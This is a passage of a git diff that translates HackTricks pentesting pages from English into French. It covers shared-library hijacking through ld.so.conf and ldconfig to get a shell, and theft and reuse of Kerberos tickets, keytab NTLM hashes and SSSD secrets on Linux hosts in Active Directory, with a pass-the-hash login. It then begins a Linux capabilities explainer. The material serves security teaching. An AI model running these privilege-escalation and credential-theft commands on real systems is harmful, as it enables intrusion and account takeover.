Welcome to my amazing application! Hi ``` +## Exploitation -## Exploit - -In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_: - +Dans ce scénario, nous allons supposer que **quelqu'un a créé une entrée vulnérable** dans un fichier situé dans _/etc/ld.so.conf/_ : ```bash sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf ``` - -The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\ -**Download and compile** the following code inside that path: - +Le dossier vulnérable est _/home/ubuntu/lib_ (où nous avons un accès en écriture).\ +**Téléchargez et compilez** le code suivant à l'intérieur de ce chemin : ```c //gcc -shared -o libcustom.so -fPIC libcustom.c @@ -96,11 +152,9 @@ void vuln_func(){ system("/bin/sh",NULL,NULL); } ``` +Maintenant que nous avons **créé la bibliothèque malveillante libcustom à l'intérieur du chemin mal configuré**, nous devons attendre un **redémarrage** ou que l'utilisateur root exécute **`ldconfig`** (_dans le cas où vous pouvez exécuter cette binaire en tant que **sudo** ou qu'elle a le **bit suid**, vous pourrez l'exécuter vous-même_). -Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_). - -Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from: - +Une fois que cela s'est produit, **revérifiez** où l'exécutable `sharevuln` charge la bibliothèque `libcustom.so` à partir de : ```c $ldd sharedvuln linux-vdso.so.1 => (0x00007ffeee766000) @@ -108,9 +162,7 @@ $ldd sharedvuln libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) /lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) ``` - -As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed: - +Comme vous pouvez le voir, il se charge depuis `/home/ubuntu/lib` et si un utilisateur l'exécute, un shell sera exécuté: ```c $ ./sharedvuln Welcome to my amazing application! @@ -118,31 +170,27 @@ I'm the bad library $ whoami ubuntu ``` - {% hint style="info" %} -Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges. +Notez que dans cet exemple, nous n'avons pas escaladé les privilèges, mais en modifiant les commandes exécutées et **en attendant que root ou un autre utilisateur privilégié exécute le binaire vulnérable**, nous pourrons escalader les privilèges. {% endhint %} -### Other misconfigurations - Same vuln +### Autres mauvaises configurations - Même vulnérabilité -In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\ -But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it. +Dans l'exemple précédent, nous avons simulé une mauvaise configuration où un administrateur **a défini un dossier non privilégié dans un fichier de configuration à l'intérieur de `/etc/ld.so.conf.d/`**.\ +Mais il existe d'autres mauvaises configurations qui peuvent causer la même vulnérabilité, si vous avez des **permissions d'écriture** dans un **fichier de configuration** à l'intérieur de `/etc/ld.so.conf.d`, dans le dossier `/etc/ld.so.conf.d` ou dans le fichier `/etc/ld.so.conf`, vous pouvez configurer la même vulnérabilité et l'exploiter. ## Exploit 2 -**Suppose you have sudo privileges over `ldconfig`**.\ -You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\ -So, lets create the files and folders needed to load "/tmp": - +**Supposons que vous avez des privilèges sudo sur `ldconfig`**.\ +Vous pouvez indiquer à `ldconfig` **où charger les fichiers de configuration à partir de**, nous pouvons donc en profiter pour faire charger à `ldconfig` des dossiers arbitraires.\ +Alors, créons les fichiers et dossiers nécessaires pour charger "/tmp": ```bash cd /tmp echo "include /tmp/conf/*" > fake.ld.so.conf echo "/tmp" > conf/evil.conf ``` - -Now, as indicated in the **previous exploit**, **create the malicious library inside `/tmp`**.\ -And finally, lets load the path and check where is the binary loading the library from: - +Maintenant, comme indiqué dans l'**exploit précédent**, **créez la bibliothèque malveillante à l'intérieur de `/tmp`**.\ +Et enfin, chargeons le chemin et vérifions d'où le binaire charge la bibliothèque: ```bash ldconfig -f fake.ld.so.conf @@ -152,27 +200,26 @@ ldd sharedvuln libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000) /lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000) ``` - -**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.** +**Comme vous pouvez le voir, en ayant des privilèges sudo sur `ldconfig`, vous pouvez exploiter la même vulnérabilité.** {% hint style="info" %} -I **didn't find** a reliable way to exploit this vuln if `ldconfig` is configured with the **suid bit**. The following error appear: `/sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied` +Je n'ai **pas trouvé** de moyen fiable d'exploiter cette vulnérabilité si `ldconfig` est configuré avec le **bit suid**. L'erreur suivante apparaît : `/sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied` {% endhint %} -## References +## Références * [https://www.boiteaklou.fr/Abusing-Shared-Libraries.html](https://www.boiteaklou.fr/Abusing-Shared-Libraries.html) * [https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2](https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2) -* Dab machine in HTB +* Machine Dab dans HTB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/linux-hardening/privilege-escalation/linux-active-directory.md b/linux-hardening/privilege-escalation/linux-active-directory.md index e7c57dd25..934e3e30e 100644 --- a/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/linux-hardening/privilege-escalation/linux-active-directory.md @@ -4,25 +4,25 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. -A linux machine can also be present inside an Active Directory environment. +Une machine Linux peut également être présente dans un environnement Active Directory. -A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine. +Une machine Linux dans un AD peut **stocker différents tickets CCACHE dans des fichiers. Ces tickets peuvent être utilisés et exploités comme tout autre ticket Kerberos**. Pour lire ces tickets, vous devrez être le propriétaire utilisateur du ticket ou **root** à l'intérieur de la machine. -## Enumeration +## Énumération -### AD enumeration from linux +### Énumération AD à partir de Linux -If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD. +Si vous avez accès à un AD sous Linux (ou bash sous Windows), vous pouvez essayer [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) pour énumérer l'AD. -You can also check the following page to learn **other ways to enumerate AD from linux**: +Vous pouvez également consulter la page suivante pour apprendre **d'autres façons d'énumérer AD à partir de Linux** : {% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} [pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md) @@ -30,28 +30,27 @@ You can also check the following page to learn **other ways to enumerate AD from ### FreeIPA -It is an open source **alternative** to Microsoft Windows **Active** **Directory**, primarily used as an integrated management solution for **Unix** environments. Learn more about it in: +Il s'agit d'une **alternative** open source à Microsoft Windows **Active** **Directory**, principalement utilisée comme solution de gestion intégrée pour les environnements **Unix**. En savoir plus à ce sujet dans : {% content-ref url="../freeipa-pentesting.md" %} [freeipa-pentesting.md](../freeipa-pentesting.md) {% endcontent-ref %} -## Playing with tickets +## Jouer avec les tickets ### Pass The Ticket -In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack: +Dans cette page, vous allez trouver différents endroits où vous pourriez **trouver des tickets Kerberos à l'intérieur d'un hôte Linux**, dans la page suivante, vous pouvez apprendre comment transformer ces formats de tickets CCache en Kirbi (le format dont vous avez besoin pour utiliser sous Windows) et également comment effectuer une attaque PTT : {% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %} [pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md) {% endcontent-ref %} -### CCACHE ticket reuse from /tmp +### Réutilisation de ticket CCACHE à partir de /tmp -> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions - -List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID. +> Lorsque les tickets sont définis pour être stockés sous forme de fichier sur le disque, le format et le type standard sont un fichier CCACHE. Il s'agit d'un format de fichier binaire simple pour stocker les informations d'identification Kerberos. Ces fichiers sont généralement stockés dans /tmp et limités à des autorisations 600. +Listez le ticket actuel utilisé pour l'authentification avec `env | grep KRB5CCNAME`. Le format est portable et le ticket peut être **réutilisé en définissant la variable d'environnement** avec `export KRB5CCNAME=/tmp/ticket.ccache`. Le format du nom du ticket Kerberos est `krb5cc_%{uid}` où uid est l'UID de l'utilisateur. ```bash ls /tmp/ | grep krb5cc krb5cc_1000 @@ -60,11 +59,9 @@ krb5cc_1569901115 export KRB5CCNAME=/tmp/krb5cc_1569901115 ``` +### Réutilisation de tickets CCACHE à partir du trousseau -### CCACHE ticket reuse from keyring - -Processes may **store kerberos tickets inside their memory**, this tool can be useful to extract those tickets (ptrace protection should be disabled in the machine `/proc/sys/kernel/yama/ptrace_scope`): [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) - +Les processus peuvent **stocker des tickets Kerberos dans leur mémoire**, cet outil peut être utile pour extraire ces tickets (la protection ptrace doit être désactivée sur la machine `/proc/sys/kernel/yama/ptrace_scope`): [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) ```bash # Configuration and build git clone https://github.com/TarlogicSecurity/tickey @@ -82,34 +79,28 @@ make CONF=Release [+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache [X] [uid:0] Error retrieving tickets ``` +### Réutilisation de ticket CCACHE à partir de SSSD KCM -### CCACHE ticket reuse from SSSD KCM - -SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions. - -Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**. +SSSD maintient une copie de la base de données dans le chemin `/var/lib/sss/secrets/secrets.ldb`. La clé correspondante est stockée sous forme de fichier caché dans le chemin `/var/lib/sss/secrets/.secrets.mkey`. Par défaut, la clé n'est lisible que si vous avez les permissions **root**. +En invoquant \*\*`SSSDKCMExtractor` \*\* avec les paramètres --database et --key, la base de données sera analysée et les secrets seront **déchiffrés**. ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey ``` +Le **blob de cache de crédential Kerberos peut être converti en un fichier CCache Kerberos utilisable** qui peut être transmis à Mimikatz/Rubeus. -The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus. - -### CCACHE ticket reuse from keytab - +### Réutilisation de ticket CCACHE à partir de keytab ```bash git clone https://github.com/its-a-feature/KeytabParser python KeytabParser.py /etc/krb5.keytab klist -k /etc/krb5.keytab ``` +### Extraire des comptes depuis /etc/krb5.keytab -### Extract accounts from /etc/krb5.keytab - -The service keys used by services that run as root are usually stored in the keytab file **`/etc/krb5.keytab`**. This service key is the equivalent of the service's password, and must be kept secure. - -Use [`klist`](https://adoptopenjdk.net/?variant=openjdk13\&jvmVariant=hotspot) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23 is the actual **NT Hash of the user**. +Les clés de service utilisées par les services qui s'exécutent en tant que root sont généralement stockées dans le fichier keytab **`/etc/krb5.keytab`**. Cette clé de service est l'équivalent du mot de passe du service et doit être conservée en sécurité. +Utilisez [`klist`](https://adoptopenjdk.net/?variant=openjdk13\&jvmVariant=hotspot) pour lire le fichier keytab et analyser son contenu. La clé que vous voyez lorsque le [type de clé](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) est 23 est en fait le **NT Hash de l'utilisateur**. ``` klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab [...] @@ -120,9 +111,7 @@ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab Time stamp: Oct 07, 2019 09:12:02 [...] ``` - -On Linux you can use [`KeyTabExtract`](https://github.com/sosdave/KeyTabExtract): we want RC4 HMAC hash to reuse the NLTM hash. - +Sur Linux, vous pouvez utiliser [`KeyTabExtract`](https://github.com/sosdave/KeyTabExtract) : nous voulons le hachage RC4 HMAC pour réutiliser le hachage NLTM. ```bash python3 keytabextract.py krb5.keytab [!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck @@ -131,21 +120,16 @@ python3 keytabextract.py krb5.keytab SERVICE PRINCIPAL : host/computer.domain NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky ``` - -On **macOS** you can use [**`bifrost`**](https://github.com/its-a-feature/bifrost). - +Sur **macOS**, vous pouvez utiliser [**`bifrost`**](https://github.com/its-a-feature/bifrost). ```bash ./bifrost -action dump -source keytab -path test ``` - -Connect to the machine using the account and the hash with CME. - +# Connectez-vous à la machine en utilisant le compte et le hash avec CME. ```bash $ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN" CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0 ``` - -## References +## Références * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory) @@ -153,10 +137,10 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/linux-hardening/privilege-escalation/linux-capabilities.md b/linux-hardening/privilege-escalation/linux-capabilities.md index f7baa736a..c896be8ae 100644 --- a/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/linux-hardening/privilege-escalation/linux-capabilities.md @@ -4,71 +4,68 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.\\ +​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.\\ {% embed url="https://www.rootedcon.com/" %} -## Why capabilities? +## Pourquoi les capacités ? -Linux capabilities **provide a subset of the available root privileges** to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation. +Les capacités Linux **fournissent un sous-ensemble des privilèges root disponibles** à un processus. Cela divise efficacement les privilèges root en unités plus petites et distinctes. Chacune de ces unités peut ensuite être accordée indépendamment aux processus. De cette façon, l'ensemble complet de privilèges est réduit et les risques d'exploitation sont diminués. -To better understand how Linux capabilities work, let’s have a look first at the problem it tries to solve. +Pour mieux comprendre comment fonctionnent les capacités Linux, examinons d'abord le problème qu'elles essaient de résoudre. -Let’s assume we are running a process as a normal user. This means we are non-privileged. We can only access data that owned by us, our group, or which is marked for access by all users. At some point in time, our process needs a little bit more permissions to fulfill its duties, like opening a network socket. The problem is that normal users can not open a socket, as this requires root permissions. +Supposons que nous exécutons un processus en tant qu'utilisateur normal. Cela signifie que nous ne sommes pas privilégiés. Nous ne pouvons accéder qu'aux données qui nous appartiennent, à notre groupe ou qui sont marquées pour un accès par tous les utilisateurs. À un moment donné, notre processus a besoin de permissions supplémentaires pour remplir ses fonctions, comme l'ouverture d'un socket réseau. Le problème est que les utilisateurs normaux ne peuvent pas ouvrir de socket, car cela nécessite des permissions root. -## Capabilities Sets +## Ensembles de capacités -**Inherited capabilities** +**Capacités héritées** -**CapEff**: The _effective_ capability set represents all capabilities the process is using at the moment (this is the actual set of capabilities that the kernel uses for permission checks). For file capabilities the effective set is in fact a single bit indicating whether the capabilities of the permitted set will be moved to the effective set upon running a binary. This makes it possible for binaries that are not capability-aware to make use of file capabilities without issuing special system calls. +**CapEff** : L'ensemble de capacités _effectives_ représente toutes les capacités que le processus utilise à ce moment-là (il s'agit de l'ensemble réel de capacités que le noyau utilise pour les vérifications de permission). Pour les capacités de fichier, l'ensemble effectif est en fait un seul bit indiquant si les capacités de l'ensemble autorisé seront déplacées vers l'ensemble effectif lors de l'exécution d'un binaire. Cela permet aux binaires qui ne sont pas conscients des capacités d'utiliser les capacités de fichier sans émettre d'appels système spéciaux. -**CapPrm**: (_Permitted_) This is a superset of capabilities that the thread may add to either the thread permitted or thread inheritable sets. The thread can use the capset() system call to manage capabilities: It may drop any capability from any set, but only add capabilities to its thread effective and inherited sets that are in its thread permitted set. Consequently it cannot add any capability to its thread permitted set, unless it has the cap\_setpcap capability in its thread effective set. +**CapPrm** : (_Permitted_) Il s'agit d'un sur-ensemble de capacités que le thread peut ajouter à l'un ou l'autre des ensembles de threads autorisés ou héritables. Le thread peut utiliser l'appel système capset() pour gérer les capacités : il peut supprimer n'importe quelle capacité de n'importe quel ensemble, mais ajouter uniquement des capacités à ses ensembles effectifs et hérités de thread qui sont dans son ensemble autorisé de thread. Par conséquent, il ne peut ajouter aucune capacité à son ensemble autorisé de thread, à moins qu'il n'ait la capacité cap\_setpcap dans son ensemble effectif de thread. -**CapInh**: Using the _inherited_ set all capabilities that are allowed to be inherited from a parent process can be specified. This prevents a process from receiving any capabilities it does not need. This set is preserved across an `execve` and is usually set by a process _receiving_ capabilities rather than by a process that’s handing out capabilities to its children. +**CapInh** : En utilisant l'ensemble _hérité_, toutes les capacités qui peuvent être héritées d'un processus parent peuvent être spécifiées. Cela empêche un processus de recevoir des capacités dont il n'a pas besoin. Cet ensemble est conservé lors d'un `execve` et est généralement défini par un processus qui _reçoit_ des capacités plutôt que par un processus qui distribue des capacités à ses enfants. -**CapBnd**: With the _bounding_ set it’s possible to restrict the capabilities a process may ever receive. Only capabilities that are present in the bounding set will be allowed in the inheritable and permitted sets. +**CapBnd** : Avec l'ensemble _bounding_, il est possible de restreindre les capacités qu'un processus peut jamais recevoir. Seules les capacités présentes dans l'ensemble de liaison seront autorisées dans les ensembles héritables et autorisés. -**CapAmb**: The _ambient_ capability set applies to all non-SUID binaries without file capabilities. It preserves capabilities when calling `execve`. However, not all capabilities in the ambient set may be preserved because they are being dropped in case they are not present in either the inheritable or permitted capability set. This set is preserved across `execve` calls. +**CapAmb** : L'ensemble de capacités _ambiantes_ s'applique à tous les binaires non-SUID sans capacités de fichier. Il préserve les capacités lors de l'appel de `execve`. Cependant, toutes les capacités de l'ensemble ambiant ne peuvent pas être préservées car elles sont abandonnées si elles ne sont pas présentes dans l'ensemble de capacités héritables ou autorisées. Cet ensemble est conservé lors des appels `execve`. -For a detailed explanation of the difference between capabilities in threads and files and how are the capabilities passed to threads read the following pages: +Pour une explication détaillée de la différence entre les capacités dans les threads et les fichiers et de la manière dont les capacités sont transmises aux threads, lisez les pages suivantes : * [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work) * [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/) -## Processes & Binaries Capabilities +## Capacités des processus et des binaires -### Processes Capabilities +### Capacités des processus -To see the capabilities for a particular process, use the **status** file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities.\ -Note that for all running processes capability information is maintained per thread, for binaries in the file system it’s stored in extended attributes. +Pour voir les capacités d'un processus particulier, utilisez le fichier **status** dans le répertoire /proc. Comme il fournit plus de détails, limitons-le uniquement aux informations relatives aux capacités Linux.\ +Notez que pour toutes les informations de capacité des processus en cours d'exécution, elles sont maintenues par thread, pour les binaires dans le système de fichiers, elles sont stockées dans les attributs étendus. -You can find the capabilities defined in /usr/include/linux/capability.h - -You can find the capabilities of the current process in `cat /proc/self/status` or doing `capsh --print` and of other users in `/proc//status` +Vous pouvez trouver les capacités définies dans /usr/include/linux/capability.h +Vous pouvez trouver les capacités du processus actuel dans `cat /proc/self/status` ou 